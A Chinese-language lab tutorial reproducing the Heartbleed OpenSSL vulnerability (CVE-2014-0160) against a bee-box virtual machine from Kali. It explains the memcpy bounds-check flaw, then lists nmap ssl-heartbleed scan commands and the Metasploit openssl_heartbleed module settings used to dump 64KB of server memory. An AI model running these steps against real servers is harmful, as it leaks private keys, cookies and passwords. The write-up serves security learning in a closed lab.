心脏滴血漏洞复现(CVE-2014-0160)

一、什么是心脏滴血

心脏出血漏洞”是指openssl这个开源软件中的一个漏洞，因为该软件使用到一个叫做heartbeat(中文名称为心跳)的扩展，恰恰是这个扩展出现了问题，所以才将这个漏洞形象的称为“心脏出血”；

二、什么是openssl

在计算机网络上，OpenSSL是一个开放源代码的软件库包，应用程序可以使用这个包来进行安全通信，避免窃听，同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。

三、漏洞描述

Heartbleed漏洞是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

四、漏洞危害

如同漏洞成因所讲，我们可以通过该漏洞读取每次攻击泄露出来的信息，所以可能也可以获取到服务器的私钥，用户cookie和密码等。

五、影响范围

OpenSSL1.0.1版本

六、漏洞利用

1.准备一台kali和一台装有OpenSSL1.0.1版本的虚拟机，这里用一个bee-box。

2.分别查看kali和bee-box的IP地址

kali ip：192.168.110.140

bee-box ip：192.168.110.146

3.用kali去ping bee-box检查连通性

4.用nmap -O 192.168.110.146 查看一下开放端口，看是开放这心脏滴血漏洞的8443端口。

以开放，然后我们用nmap 上带的ssl-heartbleed.nse脚本对目标机器进行扫描看是否存在该漏洞

nmap -sV -p 8443 --script ssl-heartbleed.nse 192.168.110.146

存在漏洞。

5.打开msf利用模块进行攻击

用search heartbleed搜索漏洞利用模块

使用模块use auxiliary/scanner/ssl/openssl_heartbleed

使用show options查看下要配置的参数

这里我们需要设置一下rhost和rport，这里的rport我们需要修改一下

set rhost 192.168.110.146

set rport 8443

最后设置一下verbose，让verbose为true这样我们才可以看到泄露的64kb数据

set  verbose true

这个时候就可以run来运行我们的漏洞利用模块了

可以看到一些泄露的数据，假如这是被攻击端正在输入一些私密的数据，我们就有可能获取到这些数据了。